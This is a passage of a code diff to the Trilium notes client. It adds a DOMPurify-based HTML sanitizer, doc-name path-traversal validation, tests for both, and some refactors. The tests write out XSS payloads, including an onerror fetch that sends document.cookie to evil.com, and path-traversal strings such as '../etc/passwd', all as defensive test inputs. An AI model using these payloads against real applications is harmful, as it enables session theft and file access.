+async function getAndExecuteBundle(noteId: string, originEntity = null, script = null, params = null) {
     const bundle = await server.post<Bundle>(`script/bundle/${noteId}`, {
         script,
         params

apps/client/src/services/content_renderer_text.ts

@@ -5,6 +5,7 @@ import froca from "./froca.js";
 import link from "./link.js";
 import { renderMathInElement } from "./math.js";
 import { getMermaidConfig } from "./mermaid.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 import tree from "./tree.js";
 import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
     const blob = await note.getBlob();
 
     if (blob && !isHtmlEmpty(blob.content)) {
-        $renderedContent.append($('<div class="ck-content">').html(blob.content));
+        $renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
 
         const seenNoteIds = options.seenNoteIds ?? new Set<string>();
         seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

apps/client/src/services/doc_renderer.spec.ts

@@ -0,0 +1,30 @@
+import { describe, expect, it } from "vitest";
+
+import { isValidDocName } from "./doc_renderer.js";
+
+describe("isValidDocName", () => {
+    it("accepts valid docNames", () => {
+        expect(isValidDocName("launchbar_intro")).toBe(true);
+        expect(isValidDocName("User Guide/Quick Start")).toBe(true);
+        expect(isValidDocName("User Guide/User Guide/Quick Start")).toBe(true);
+        expect(isValidDocName("Quick Start Guide")).toBe(true);
+        expect(isValidDocName("quick_start_guide")).toBe(true);
+        expect(isValidDocName("quick-start-guide")).toBe(true);
+    });
+
+    it("rejects path traversal attacks", () => {
+        expect(isValidDocName("..")).toBe(false);
+        expect(isValidDocName("../etc/passwd")).toBe(false);
+        expect(isValidDocName("foo/../bar")).toBe(false);
+        expect(isValidDocName("../../../../api/notes/_malicious/open")).toBe(false);
+        expect(isValidDocName("..\\etc\\passwd")).toBe(false);
+        expect(isValidDocName("foo\\bar")).toBe(false);
+    });
+
+    it("rejects URL manipulation attacks", () => {
+        expect(isValidDocName("../../../../api/notes/_malicious/open?x=")).toBe(false);
+        expect(isValidDocName("foo#bar")).toBe(false);
+        expect(isValidDocName("%2e%2e")).toBe(false);
+        expect(isValidDocName("%2e%2e%2f%2e%2e%2fapi")).toBe(false);
+    });
+});

apps/client/src/services/doc_renderer.ts

@@ -3,22 +3,39 @@ import { applyReferenceLinks } from "../widgets/type_widgets/text/read_only_help
 import { getCurrentLanguage } from "./i18n.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 
+/**
+ * Validates a docName to prevent path traversal attacks.
+ * Allows forward slashes for subdirectories (e.g., "User Guide/Quick Start")
+ * but blocks traversal sequences and URL manipulation characters.
+ */
+export function isValidDocName(docName: string): boolean {
+    // Allow alphanumeric characters, spaces, underscores, hyphens, and forward slashes.
+    const validDocNameRegex = /^[a-zA-Z0-9_/\- ]+$/;
+    return validDocNameRegex.test(docName);
+}
+
 export default function renderDoc(note: FNote) {
     return new Promise<JQuery<HTMLElement>>((resolve) => {
         const docName = note.getLabelValue("docName");
         const $content = $("<div>");
 
-        if (docName) {
-            // find doc based on language
-            const url = getUrl(docName, getCurrentLanguage());
+        // find doc based on language
+        const url = getUrl(docName, getCurrentLanguage());
+
+        if (url) {
             $content.load(url, async (response, status) => {
                 // fallback to english doc if no translation available
                 if (status === "error") {
                     const fallbackUrl = getUrl(docName, "en");
-                    $content.load(fallbackUrl, async () => {
-                        await processContent(fallbackUrl, $content);
+
+                    if (fallbackUrl) {
+                        $content.load(fallbackUrl, async () => {
+                            await processContent(fallbackUrl, $content);
+                            resolve($content);
+                        });
+                    } else {
                         resolve($content);
-                    });
+                    }
                     return;
                 }
 
@@ -28,8 +45,6 @@ export default function renderDoc(note: FNote) {
         } else {
             resolve($content);
         }
-
-        return $content;
     });
 }
 
@@ -37,7 +52,7 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
     const dir = url.substring(0, url.lastIndexOf("/"));
 
     // Images are relative to the docnote but that will not work when rendered in the application since the path breaks.
-    $content.find("img").each((_i, el) => {
+    $content.find("img").each((i, el) => {
         const $img = $(el);
         $img.attr("src", `${dir}/${$img.attr("src")}`);
     });
@@ -48,20 +63,17 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
     await applyReferenceLinks($content[0]);
 }
 
-function getUrl(docNameValue: string, language: string) {
+function getUrl(docNameValue: string | null, language: string) {
+    if (!docNameValue) return;
+
+    if (!isValidDocName(docNameValue)) {
+        console.error(`Invalid docName: ${docNameValue}`);
+        return null;
+    }
+
     // Cannot have spaces in the URL due to how JQuery.load works.
     docNameValue = docNameValue.replaceAll(" ", "%20");
-    // The user guide is available only in English, so make sure we are requesting correctly since 404s in standalone client are treated differently.
-    if (docNameValue.includes("User%20Guide")) language = "en";
-    return `${getBasePath()}/doc_notes/${language}/${docNameValue}.html`;
-}
 
-function getBasePath() {
-    if (window.glob.isStandalone) {
-        return `server-assets`;
-    }
-    if (window.glob.isDev) {
-        return `${window.glob.assetPath  }/..`;
-    }
-    return window.glob.assetPath;
+    const basePath = window.glob.isDev ? `${window.glob.assetPath  }/..` : window.glob.assetPath;
+    return `${basePath}/doc_notes/${language}/${docNameValue}.html`;
 }

apps/client/src/services/froca.ts

@@ -1,11 +1,11 @@
-import appContext from "../components/app_context.js";
-import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
-import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
-import FBlob, { type FBlobRow } from "../entities/fblob.js";
 import FBranch, { type FBranchRow } from "../entities/fbranch.js";
 import FNote, { type FNoteRow } from "../entities/fnote.js";
-import type { Froca } from "./froca-interface.js";
+import FAttribute, { type FAttributeRow } from "../entities/fattribute.js";
 import server from "./server.js";
+import appContext from "../components/app_context.js";
+import FBlob, { type FBlobRow } from "../entities/fblob.js";
+import FAttachment, { type FAttachmentRow } from "../entities/fattachment.js";
+import type { Froca } from "./froca-interface.js";
 
 interface SubtreeResponse {
     notes: FNoteRow[];
@@ -44,9 +44,8 @@ class FrocaImpl implements Froca {
     }
 
     async loadInitialTree() {
-        if (!glob.dbInitialized) return;
-
         const resp = await server.get<SubtreeResponse>("tree");
+
         // clear the cache only directly before adding new content which is important for e.g., switching to protected session
         this.#clear();
         this.addResp(resp);
@@ -78,7 +77,7 @@ class FrocaImpl implements Froca {
         for (const noteRow of noteRows) {
             const { noteId } = noteRow;
 
-            const note = this.notes[noteId];
+            let note = this.notes[noteId];
 
             if (note) {
                 note.update(noteRow);
@@ -241,8 +240,9 @@ class FrocaImpl implements Froca {
                     console.trace(`Can't find note '${noteId}'`);
 
                     return null;
+                } else {
+                    return this.notes[noteId];
                 }
-                return this.notes[noteId];
             })
             .filter((note) => !!note) as FNote[];
     }
@@ -263,8 +263,9 @@ class FrocaImpl implements Froca {
                     console.trace(`Can't find note '${noteId}'`);
 
                     return null;
+                } else {
+                    return this.notes[noteId];
                 }
-                return this.notes[noteId];
             })
             .filter((note) => !!note) as FNote[];
     }
@@ -337,10 +338,11 @@ class FrocaImpl implements Froca {
             attachmentRows = await server.getWithSilentNotFound<FAttachmentRow[]>(`attachments/${attachmentId}/all`);
         } catch (e: any) {
             if (silentNotFoundError) {
-                logInfo(`Attachment '${attachmentId}' not found, but silentNotFoundError is enabled: ${e.message}`);
+                logInfo(`Attachment '${attachmentId}' not found, but silentNotFoundError is enabled: ` + e.message);
                 return null;
+            } else {
+                throw e;
             }
-            throw e;
         }
 
         const attachments = this.processAttachmentRows(attachmentRows);

apps/client/src/services/frontend_script_api.ts

@@ -206,7 +206,7 @@ export interface Api {
      * Instance name identifies particular Trilium instance. It can be useful for scripts
      * if some action needs to happen on only one specific instance.
      */
-    getInstanceName(): string | null;
+    getInstanceName(): string;
 
     /**
      * @returns date in YYYY-MM-DD format

apps/client/src/services/i18n.ts

@@ -1,17 +1,16 @@
-import { type Locale, LOCALE_IDS, setDayjsLocale } from "@triliumnext/commons";
+import options from "./options.js";
 import i18next from "i18next";
 import i18nextHttpBackend from "i18next-http-backend";
-import { initReactI18next } from "react-i18next";
-
-import options from "./options.js";
 import server from "./server.js";
+import { LOCALE_IDS, setDayjsLocale, type Locale } from "@triliumnext/commons";
+import { initReactI18next } from "react-i18next";
 
 let locales: Locale[] | null;
 
 /**
  * A deferred promise that resolves when translations are initialized.
  */
-export const translationsInitializedPromise = $.Deferred();
+export let translationsInitializedPromise = $.Deferred();
 
 export async function initLocale() {
     const locale = ((options.get("locale") as string) || "en") as LOCALE_IDS;
@@ -34,7 +33,7 @@ export async function initLocale() {
 
 export function getAvailableLocales() {
     if (!locales) {
-        throw new Error("Tried to load list of locales, but localization is not yet initialized.");
+        throw new Error("Tried to load list of locales, but localization is not yet initialized.")
     }
 
     return locales;

apps/client/src/services/note_tooltip.ts

@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
 import froca from "./froca.js";
 import { t } from "./i18n.js";
 import linkService from "./link.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import treeService from "./tree.js";
 import utils from "./utils.js";
 
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
         return;
     }
 
-    const html = `<div class="note-tooltip-content">${content}</div>`;
-    const tooltipClass = `tooltip-${  Math.floor(Math.random() * 999_999_999)}`;
+    const sanitizedContent = sanitizeNoteContentHtml(content);
+    const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
+    const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
 
     // we need to check if we're still hovering over the element
     // since the operation to get tooltip content was async, it is possible that
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
             title: html,
             html: true,
             template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
+            // Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
+            // (which is too aggressive for our rich-text content) can be disabled.
             sanitize: false,
             customClass: linkId
         });

apps/client/src/services/promoted_attribute_definition_parser.ts

@@ -1,4 +1,14 @@
-import { DefinitionObject, LabelType, Multiplicity } from "@triliumnext/commons";
+export type LabelType = "text" | "textarea" | "number" | "boolean" | "date" | "datetime" | "time" | "url" | "color";
+type Multiplicity = "single" | "multi";
+
+export interface DefinitionObject {
+    isPromoted?: boolean;
+    labelType?: LabelType;
+    multiplicity?: Multiplicity;
+    numberPrecision?: number;
+    promotedAlias?: string;
+    inverseRelation?: string;
+}
 
 function parse(value: string) {
     const tokens = value.split(",").map((t) => t.trim());

apps/client/src/services/sanitize_content.spec.ts

@@ -0,0 +1,236 @@
+import { describe, expect, it } from "vitest";
+import { sanitizeNoteContentHtml } from "./sanitize_content";
+
+describe("sanitizeNoteContentHtml", () => {
+    // --- Preserves legitimate CKEditor content ---
+
+    it("preserves basic rich text formatting", () => {
+        const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves headings", () => {
+        const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves links with href", () => {
+        const html = '<a href="https://example.com">Link</a>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves internal note links with data attributes", () => {
+        const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="reference-link"');
+        expect(result).toContain('href="#root/abc123"');
+        expect(result).toContain('data-note-path="root/abc123"');
+        expect(result).toContain(">My Note</a>");
+    });
+
+    it("preserves images with src", () => {
+        const html = '<img src="api/images/abc123/image.png" alt="test">';
+        expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
+    });
+
+    it("preserves tables", () => {
+        const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves code blocks", () => {
+        const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves include-note sections with data-note-id", () => {
+        const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="include-note"');
+        expect(result).toContain('data-note-id="abc123"');
+        expect(result).toContain("&nbsp;</section>");
+    });
+
+    it("preserves figure and figcaption", () => {
+        const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
+        expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
+        expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
+    });
+
+    it("preserves task list checkboxes", () => {
+        const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('type="checkbox"');
+        expect(result).toContain("checked");
+    });
+
+    it("preserves inline styles for colors", () => {
+        const html = '<span style="color: red;">Red text</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("style");
+        expect(result).toContain("color");
+    });
+
+    it("preserves data-* attributes", () => {
+        const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('data-custom-attr="value"');
+        expect(result).toContain('data-note-id="abc"');
+    });
+
+    // --- Blocks XSS vectors ---
+
+    it("strips script tags", () => {
+        const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+        expect(result).toContain("<p>Hello</p>");
+        expect(result).toContain("<p>World</p>");
+    });
+
+    it("strips onerror event handlers on images", () => {
+        const html = '<img src="x" onerror="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onclick event handlers", () => {
+        const html = '<div onclick="alert(1)">Click me</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onclick");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onload event handlers", () => {
+        const html = '<img src="x" onload="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onload");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onmouseover event handlers", () => {
+        const html = '<span onmouseover="alert(1)">Hover</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onmouseover");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onfocus event handlers", () => {
+        const html = '<input onfocus="alert(1)" autofocus>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onfocus");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips javascript: URIs in href", () => {
+        const html = '<a href="javascript:alert(1)">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips javascript: URIs in img src", () => {
+        const html = '<img src="javascript:alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips iframe tags", () => {
+        const html = '<iframe src="https://evil.com"></iframe>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<iframe");
+    });
+
+    it("strips object tags", () => {
+        const html = '<object data="evil.swf"></object>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<object");
+    });
+
+    it("strips embed tags", () => {
+        const html = '<embed src="evil.swf">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<embed");
+    });
+
+    it("strips style tags", () => {
+        const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<style");
+        expect(result).toContain("<p>Text</p>");
+    });
+
+    it("strips SVG with embedded script", () => {
+        const html = '<svg><script>alert(1)</script></svg>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips meta tags", () => {
+        const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<meta");
+    });
+
+    it("strips base tags", () => {
+        const html = '<base href="https://evil.com/"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<base");
+    });
+
+    it("strips link tags", () => {
+        const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<link");
+    });
+
+    // --- Edge cases ---
+
+    it("handles empty string", () => {
+        expect(sanitizeNoteContentHtml("")).toBe("");
+    });
+
+    it("handles null-like falsy values", () => {
+        expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
+        expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
+    });
+
+    it("handles nested XSS attempts", () => {
+        const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("fetch");
+        expect(result).not.toContain("cookie");
+        expect(result).toContain("Safe");
+        expect(result).toContain("Also safe");
+    });
+
+    it("handles case-varied event handlers", () => {
+        const html = '<img src="x" ONERROR="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result.toLowerCase()).not.toContain("onerror");
+    });
+
+    it("strips dangerous data: URI on anchor elements", () => {
+        const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        // DOMPurify should either strip the href or remove the dangerous content
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert(1)");
+    });
+
+    it("allows data: URI on image elements", () => {
+        const html = '<img src="data:image/png;base64,iVBOR...">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("data:image/png");
+    });
+
+    it("strips template tags which could contain scripts", () => {
+        const html = '<template><script>alert(1)</script></template>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("<template");
+    });
+});

apps/client/src/services/sanitize_content.ts

@@ -0,0 +1,161 @@
+/**
+ * Client-side HTML sanitization for note content rendering.
+ *
+ * This module provides sanitization of HTML content before it is injected into
+ * the DOM, preventing stored XSS attacks. Content written through non-CKEditor
+ * paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
+ * handlers, or other XSS vectors that must be stripped before rendering.
+ *
+ * Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
+ * dependency of this project (via mermaid).
+ *
+ * The configuration is intentionally permissive for rich-text formatting
+ * (bold, italic, headings, tables, images, links, etc.) while blocking
+ * script execution vectors (script tags, event handlers, javascript: URIs,
+ * data: URIs on non-image elements, etc.).
+ */
+import DOMPurify from "dompurify";
+
+/**
+ * Tags allowed in sanitized note content. This mirrors the server-side
+ * SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
+ * tags needed for CKEditor content rendering (e.g. <section> for included
+ * notes, <figure>/<figcaption> for images and tables).
+ *
+ * Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
+ * <input> (except checkbox via specific attribute allowance), <link>, <meta>.
+ */
+const ALLOWED_TAGS = [
+    // Headings
+    "h1", "h2", "h3", "h4", "h5", "h6",
+    // Block elements
+    "blockquote", "p", "div", "pre", "section", "article", "aside",
+    "header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
+    // Lists
+    "ul", "ol", "li", "dl", "dt", "dd", "menu",
+    // Inline formatting
+    "a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
+    "abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
+    "small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
+    "cite", "acronym", "data", "rp",
+    // Tables
+    "table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
+    "col", "colgroup",
+    // Media
+    "img", "figure", "figcaption", "video", "audio", "picture",
+    "area", "map", "track",
+    // Separators
+    "hr", "br",
+    // Interactive (limited)
+    "label", "input",
+    // Other
+    "span",
+    // CKEditor specific
+    "en-media"
+];
+
+/**
+ * Attributes allowed on sanitized elements. DOMPurify uses a flat list
+ * of allowed attribute names that apply to all elements.
+ */
+const ALLOWED_ATTR = [
+    // Common
+    "class", "style", "title", "id", "dir", "lang", "tabindex",
+    "spellcheck", "translate", "hidden",
+    // Links
+    "href", "target", "rel",
+    // Images & media
+    "src", "alt", "width", "height", "loading", "srcset", "sizes",
+    "controls", "autoplay", "loop", "muted", "preload", "poster",
+    // Data attributes (CKEditor uses these extensively)
+    // DOMPurify allows data-* by default when ADD_ATTR includes them
+    // Tables
+    "colspan", "rowspan", "scope", "headers",
+    // Input (for checkboxes in task lists)
+    "type", "checked", "disabled",
+    // Misc
+    "align", "valign", "center",
+    "open", // for <details>
+    "datetime", // for <time>, <del>, <ins>
+    "cite" // for <blockquote>, <del>, <ins>
+];
+
+/**
+ * URI-safe protocols allowed in href/src attributes.
+ * Blocks javascript:, vbscript:, and other dangerous schemes.
+ */
+// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
+// which restricts data: URIs to only <img> elements.
+const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
+
+/**
+ * DOMPurify configuration for sanitizing note content.
+ */
+const PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS,
+    ALLOWED_ATTR,
+    ALLOWED_URI_REGEXP,
+    // Allow data-* attributes (used extensively by CKEditor)
+    ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
+               "data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
+    // Do not allow <style> or <script> tags
+    FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
+                  "base", "noscript", "template"],
+    // Do not allow event handler attributes
+    FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
+                  "onblur", "onsubmit", "onreset", "onchange", "oninput",
+                  "onkeydown", "onkeyup", "onkeypress", "onmousedown",
+                  "onmouseup", "onmousemove", "onmouseout", "onmouseenter",
+                  "onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
+                  "ondrag", "ondragend", "ondragenter", "ondragleave",
+                  "ondragover", "ondragstart", "ondrop", "onscroll",
+                  "oncopy", "oncut", "onpaste", "onanimationend",
+                  "onanimationiteration", "onanimationstart",
+                  "ontransitionend", "onpointerdown", "onpointerup",
+                  "onpointermove", "onpointerover", "onpointerout",
+                  "onpointerenter", "onpointerleave", "ontouchstart",
+                  "ontouchend", "ontouchmove", "ontouchcancel"],
+    // Allow data: URIs only for images (needed for inline images)
+    ADD_DATA_URI_TAGS: ["img"],
+    // Return a string
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false,
+    // Keep the document structure intact
+    WHOLE_DOCUMENT: false,
+    // Allow target attribute on links
+    ADD_TAGS: []
+};
+
+// Configure a DOMPurify hook to handle data-* attributes more broadly
+// since CKEditor uses many custom data attributes.
+DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
+    // Allow all data-* attributes
+    if (data.attrName.startsWith("data-")) {
+        data.forceKeepAttr = true;
+    }
+});
+
+/**
+ * Sanitizes HTML content for safe rendering in the DOM.
+ *
+ * This function should be called on all user-provided HTML content before
+ * inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
+ * or Element.innerHTML.
+ *
+ * The sanitizer preserves rich-text formatting produced by CKEditor
+ * (bold, italic, links, tables, images, code blocks, etc.) while
+ * stripping XSS vectors (script tags, event handlers, javascript: URIs).
+ *
+ * @param dirtyHtml - The untrusted HTML string to sanitize.
+ * @returns A sanitized HTML string safe for DOM insertion.
+ */
+export function sanitizeNoteContentHtml(dirtyHtml: string): string {
+    if (!dirtyHtml) {
+        return dirtyHtml;
+    }
+    return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
+}
+
+export default {
+    sanitizeNoteContentHtml
+};

apps/client/src/services/utils.ts

@@ -135,8 +135,6 @@ export function isElectron() {
     return !!(window && window.process && window.process.type);
 }
 
-export const isStandalone = window.glob.isStandalone;
-
 /**
  * Returns `true` if the client is running as a PWA, otherwise `false`.
  */
@@ -818,7 +816,7 @@ function compareVersions(v1: string, v2: string): number {
 /**
  * Compares two semantic version strings and returns `true` if the latest version is greater than the current version.
  */
-export function isUpdateAvailable(latestVersion: string | null | undefined, currentVersion: string): boolean {
+function isUpdateAvailable(latestVersion: string | null | undefined, currentVersion: string): boolean {
     if (!latestVersion) {
         return false;
     }
@@ -905,10 +903,6 @@ export function getErrorMessage(e: unknown) {
 
 }
 
-export function replaceHtmlEscapedSlashes(str: string) {
-    return str.replace(///g, "/");
-}
-
 /**
  * Handles left or right placement of e.g. tooltips in case of right-to-left languages. If the current language is a RTL one, then left and right are swapped. Other directions are unaffected.
  * @param placement a string optionally containing a "left" or "right" value.

apps/client/src/services/ws.ts

@@ -1,21 +1,21 @@
-import { WebSocketMessage } from "@triliumnext/commons";
-
-import appContext from "../components/app_context.js";
-import type { EntityChange } from "../server_types.js";
-import frocaUpdater from "./froca_updater.js";
-import { t } from "./i18n.js";
-import options from "./options.js";
-import server from "./server.js";
-import toastService from "./toast.js";
 import utils from "./utils.js";
+import toastService from "./toast.js";
+import server from "./server.js";
+import options from "./options.js";
+import frocaUpdater from "./froca_updater.js";
+import appContext from "../components/app_context.js";
+import { t } from "./i18n.js";
+import type { EntityChange } from "../server_types.js";
+import { WebSocketMessage } from "@triliumnext/commons";
+import toast from "./toast.js";
 
 type MessageHandler = (message: WebSocketMessage) => void;
 let messageHandlers: MessageHandler[] = [];
 
 let ws: WebSocket;
-let lastAcceptedEntityChangeId = window.glob.maxEntityChangeIdAtLoad ?? 0;
-let lastAcceptedEntityChangeSyncId = window.glob.maxEntityChangeSyncIdAtLoad ?? 0;
-let lastProcessedEntityChangeId = window.glob.maxEntityChangeIdAtLoad ?? 0;
+let lastAcceptedEntityChangeId = window.glob.maxEntityChangeIdAtLoad;
+let lastAcceptedEntityChangeSyncId = window.glob.maxEntityChangeSyncIdAtLoad;
+let lastProcessedEntityChangeId = window.glob.maxEntityChangeIdAtLoad;
 let lastPingTs: number;
 let frontendUpdateDataQueue: EntityChange[] = [];
 
@@ -57,45 +57,6 @@ export function unsubscribeToMessage(messageHandler: MessageHandler) {
     messageHandlers = messageHandlers.filter(handler => handler !== messageHandler);
 }
 
-/**
- * Dispatch a message to all handlers and process it.
- * This is the main entry point for incoming messages from any provider
- * (WebSocket, Worker, etc.)
- */
-export async function dispatchMessage(message: WebSocketMessage) {
-    // Notify all subscribers
-    for (const messageHandler of messageHandlers) {
-        messageHandler(message);
-    }
-
-    // Use string type for flexibility - server sends more message types than are typed
-    const messageType = message.type as string;
-    const msg = message as any;
-
-    // Process the message
-    if (messageType === "ping") {
-        lastPingTs = Date.now();
-    } else if (messageType === "reload-frontend") {
-        utils.reloadFrontendApp("received request from backend to reload frontend");
-    } else if (messageType === "frontend-update") {
-        await executeFrontendUpdate(msg.data.entityChanges);
-    } else if (messageType === "sync-hash-check-failed") {
-        toastService.showError(t("ws.sync-check-failed"), 60000);
-    } else if (messageType === "consistency-checks-failed") {
-        toastService.showError(t("ws.consistency-checks-failed"), 50 * 60000);
-    } else if (messageType === "api-log-messages") {
-        appContext.triggerEvent("apiLogMessages", { noteId: msg.noteId, messages: msg.messages });
-    } else if (messageType === "toast") {
-        toastService.showMessage(msg.message);
-    } else if (messageType === "execute-script") {
-        const bundleService = (await import("./bundle.js")).default;
-        const froca = (await import("./froca.js")).default;
-        const originEntity = msg.originEntityId ? await froca.getNote(msg.originEntityId) : null;
-
-        bundleService.getAndExecuteBundle(msg.currentNoteId, originEntity, msg.script, msg.params);
-    }
-}
-
 // used to serialize frontend update operations
 let consumeQueuePromise: Promise<void> | null = null;
 
@@ -151,13 +112,38 @@ async function executeFrontendUpdate(entityChanges: EntityChange[]) {
     }
 }
 
-/**
- * WebSocket message handler - parses the event and dispatches to generic handler.
- * This is only used in WebSocket mode (not standalone).
- */
-async function handleWebSocketMessage(event: MessageEvent<string>) {
-    const message = JSON.parse(event.data) as WebSocketMessage;
-    await dispatchMessage(message);
+async function handleMessage(event: MessageEvent<any>) {
+    const message = JSON.parse(event.data);
+
+    for (const messageHandler of messageHandlers) {
+        messageHandler(message);
+    }
+
+    if (message.type === "ping") {
+        lastPingTs = Date.now();
+    } else if (message.type === "reload-frontend") {
+        utils.reloadFrontendApp("received request from backend to reload frontend");
+    } else if (message.type === "frontend-update") {
+        await executeFrontendUpdate(message.data.entityChanges);
+    } else if (message.type === "sync-hash-check-failed") {
+        toastService.showError(t("ws.sync-check-failed"), 60000);
+    } else if (message.type === "consistency-checks-failed") {
+        toastService.showError(t("ws.consistency-checks-failed"), 50 * 60000);
+    } else if (message.type === "api-log-messages") {
+        appContext.triggerEvent("apiLogMessages", { noteId: message.noteId, messages: message.messages });
+    } else if (message.type === "toast") {
+        toastService.showMessage(message.message);
+    } else if (message.type === "execute-script") {
+        // TODO: Remove after porting the file
+        // @ts-ignore
+        const bundleService = (await import("./bundle.js")).default as any;
+        // TODO: Remove after porting the file
+        // @ts-ignore
+        const froca = (await import("./froca.js")).default as any;
